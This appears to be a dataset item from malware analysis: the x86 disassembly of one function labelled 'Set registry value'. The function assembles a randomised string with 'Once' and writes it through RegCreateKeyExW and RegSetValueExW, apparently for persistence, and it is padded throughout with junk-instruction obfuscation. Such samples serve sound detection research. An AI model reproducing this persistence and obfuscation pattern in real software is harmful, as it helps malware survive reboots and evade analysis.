Function at 0x40abf0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a1f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x4e4
push esi
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x6c], 0x208
push 0x208
push 0
lea eax, [ebp - 0x4f0]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push eax
add eax, edi
add eax, ebp
xor eax, ecx
add eax, ebp
sbb eax, ebx
add eax, ecx
pop eax
push 0x41b564
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy]
add esp, 8
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
cmp dword [ebp + 0x14], 0
jne 0x40ad54
push 0x41b568
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push edi
sbb edi, eax
mov edi, 0x4e617b1a
mov edi, 0x2fda753b
pop edi
lea ecx, [ebp - 0x98]
call fcn.0040ef70
mov dword [ebp - 4], 0
push 0xe
lea ecx, [ebp - 0x98]
call fcn.004174e0
push ebp
xor ebp, ebx
sub ebp, esi
mov ebp, 0x62dc3364
sub ebp, ebx
nop
pop ebp
mov dword [ebp - 0x48], 0
jmp 0x40ace4
mov edx, dword [ebp - 0x48]
add edx, 1
mov dword [ebp - 0x48], edx
lea ecx, [ebp - 0x98]
call fcn.00417e70
cmp dword [ebp - 0x48], eax
jae 0x40ad24
push 0x7a
push 0x61
call fcn.00409680
add esp, 8
mov esi, eax
mov eax, dword [ebp - 0x48]
push eax
lea ecx, [ebp - 0x98]
call fcn.0040fde0
mov word [eax], si
push ecx
mov ecx, 0x20493eb4
mov ecx, 0x3f3379c0
sbb ecx, ebx
pop ecx
jmp 0x40acdb
lea ecx, [ebp - 0x98]
call fcn.00413fd0
push eax
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x98]
call fcn.0040f670
jmp 0x40adb4
push 0x41b570
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov ecx, 0x4203e4
call fcn.00413fd0
push eax
lea eax, [ebp - 0x4f0]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push 0x41b578
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
mov ecx, 0x420408
call fcn.00413fd0
push eax
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push edx
mov edx, 0x1ed428ff
sub edx, edx
mov edx, 0x4f205c83
pop edx
cmp dword [ebp + 0x10], 0
je 0x40addc
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x4f0]
push ecx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat]
add esp, 8
push edx
mov edx, 0x491a36eb
xor edx, esi
or edx, esi
and edx, ebx
nop
pop edx
lea ecx, [ebp - 0xb0]
call fcn.0040ed50
mov dword [ebp - 4], 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x70], esp
push 0x42045c
call fcn.0040eb10
mov dword [ebp - 0x74], eax
push 0x420420
lea edx, [ebp - 0x40]
push edx
call fcn.004075f0
add esp, 0x20
mov dword [ebp - 0x78], eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.0040ed50
mov byte [ebp - 4], 3
mov dword [ebp - 0x10], 0
jmp 0x40ae47
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x40]
call fcn.00417e50
cmp dword [ebp - 0x10], eax
jae 0x40b5fb
cmp dword [ebp - 0x10], 2
jne 0x40ae7d
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 4
jne 0x40aea2
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 6
jne 0x40aec7
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 9
jne 0x40aeec
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0xc
jne 0x40af11
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0xe
jne 0x40af36
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x12
jne 0x40af5b
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x16
jne 0x40af80
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x17
jne 0x40afa5
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x1b
jne 0x40afca
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x1d
jne 0x40afef
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x20
jne 0x40b014
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x21
jne 0x40b039
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x23
jne 0x40b05e
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x26
jne 0x40b083
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x28
jne 0x40b0b6
push esi
xor esi, ebp
mov esi, 0x54270ef4
and esi, esi
or esi, edi
nop
pop esi
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x29
jne 0x40b0e9
push edx
mov edx, 0x7a5904c5
or edx, edx
sub edx, edx
or edx, eax
nop
pop edx
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x2a
jne 0x40b11c
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edx
sbb edx, ebx
mov edx, 0x7e197154
xor edx, eax
sub edx, ebp
nop
pop edx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x2f
jne 0x40b14f
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push esi
mov esi, 0x47db3b5b
mov esi, 0x10454ddc
add esi, ebp
pop esi
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x30
jne 0x40b182
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push eax
mov eax, 0x41730931
mov eax, 0x62d90be8
sub eax, eax
pop eax
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x31
jne 0x40b1b5
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edx
add edx, ebx
mov edx, 0x45d51713
mov edx, 0x12f63c0f
pop edx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x32
jne 0x40b1e8
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push eax
mov eax, 0x291a3ee9
and eax, ebx
sbb eax, esi
xor eax, ecx
nop
pop eax
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x33
jne 0x40b21b
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push ebp
add ebp, edi
mov ebp, 0x124e71ac
mov ebp, 0x4b59549f
pop ebp
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x35
jne 0x40b24e
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push eax
xor eax, ecx
and eax, ebx
sbb eax, ecx
xor eax, ecx
xor eax, esi
sbb eax, edi
pop eax
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x39
jne 0x40b281
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edi
and edi, esp
sub edi, ebx
add edi, eax
and edi, edx
or edi, esp
sub edi, eax
pop edi
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x3b
jne 0x40b2b4
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push esi
add esi, edi
sbb esi, edx
mov esi, 0x37e1002
xor esi, edi
nop
pop esi
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x41
jne 0x40b2e7
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push eax
sbb eax, edx
xor eax, eax
and eax, eax
mov eax, 0x101b0bc9
nop
pop eax
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x46
jne 0x40b30c
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x48
jne 0x40b331
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x4a
jne 0x40b364
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edi
mov edi, 0x5e4d11da
mov edi, 0x22834f2c
or edi, ebp
pop edi
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x4b
jne 0x40b389
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x4e
jne 0x40b3bc
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edx
sbb edx, ebx
add edx, ebp
sub edx, edi
mov edx, 0x22c511ef
nop
pop edx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x52
jne 0x40b3ef
push ecx
sbb ecx, ecx
mov ecx, 0x5c1e0c77
add ecx, edi
sbb ecx, ebx
nop
pop ecx
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x54
jne 0x40b414
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x56
jne 0x40b447
push esi
and esi, edx
mov esi, 0x510a566a
sbb esi, ebx
xor esi, edi
nop
pop esi
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x58
jne 0x40b46c
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x5a
jne 0x40b491
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x5b
jne 0x40b4d2
push eax
and eax, esi
mov eax, 0x1fb41fc0
add eax, esi
sbb eax, edi
nop
pop eax
push eax
mov eax, 0x19c006c
add eax, edi
and eax, edx
sbb eax, ecx
nop
pop eax
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x5f
jne 0x40b4f7
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x63
jne 0x40b52a
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
push edx
mov edx, 0x7da0baf
mov edx, 0x21915cb8
and edx, eax
pop edx
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x64
jne 0x40b54f
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x66
jne 0x40b574
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x6a
jne 0x40b596
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x6e
jne 0x40b5b8
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
cmp dword [ebp - 0x10], 0x6f
jne 0x40b5e8
push esi
and esi, eax
mov esi, 0x114218f
or esi, esp
or esi, eax
nop
pop esi
mov ecx, dword [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040fda0
mov dl, byte [eax]
movzx eax, dl
push eax
lea ecx, [ebp - 0x28]
call fcn.00410090
jmp 0x40b5f6
push edi
mov edi, 0x15ff3636
xor edi, eax
mov edi, 0x77897f43
pop edi
jmp 0x40ae3e
cmp dword [ebp + 0x14], 0
jne 0x40b620
lea ecx, [ebp - 0x28]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.0040fb80
push eax
mov eax, 0x594c3e2a
mov eax, 0x13b13ad9
or eax, ebp
pop eax
jmp 0x40b663
push str.Once
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0xe0]
push eax
call fcn.0040bf70
add esp, 0xc
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.0040fa90
lea ecx, [ebp - 0xe0]
call fcn.0040f630
push eax
or eax, esp
xor eax, eax
or eax, ebx
mov eax, 0x76627b44
nop
pop eax
lea ecx, [ebp - 0x51]
call fcn.0040e460
push eax
lea edx, [ebp - 0x7c]
push edx
lea ecx, [ebp - 0xb0]
call fcn.004145a0
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp - 0xb0]
call fcn.00413eb0
mov edx, dword [eax]
push edx
lea ecx, [ebp - 0xc8]
call fcn.0040bbd0
push edi
mov edi, 0x6c8b4ed6
mov edi, 0x4f7169d2
or edi, esi
pop edi
push 0
lea eax, [ebp - 0x44]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
lea ecx, [ebp - 0xc8]
call fcn.00413fd0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x40b6e5
mov dword [ebp - 0x58], 1
jmp 0x40b6ec
mov dword [ebp - 0x58], 0
mov ecx, dword [ebp - 0x58]
mov dword [ebp - 0x50], ecx
push edi
mov edi, 0x77f718b6
add edi, esi
mov edi, 0x586b6d4a
pop edi
cmp dword [ebp - 0x50], 0
je 0x40b759
lea edx, [ebp - 0x4f0]
push edx
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
add esp, 4
lea eax, [eax + eax + 2]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
lea edx, [ebp - 0x4f0]
push edx
push 1
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x44]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x40b74c
mov dword [ebp - 0x5c], 1
jmp 0x40b753
mov dword [ebp - 0x5c], 0
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x50], edx
push ebp
or ebp, eax
sub ebp, eax
or ebp, edi
add ebp, ebx
or ebp, ebx
sub ebp, esp
pop ebp
cmp dword [ebp - 0x44], 0
je 0x40b77e
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 0x44], 0
push eax
add eax, edi
or eax, esi
mov eax, 0x140b5416
xor eax, edi
nop
pop eax
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0x68], ecx
lea ecx, [ebp - 0xc8]
call fcn.0040f670
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.0040f630
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
call fcn.0040f630
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb0]
call fcn.0040f630
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret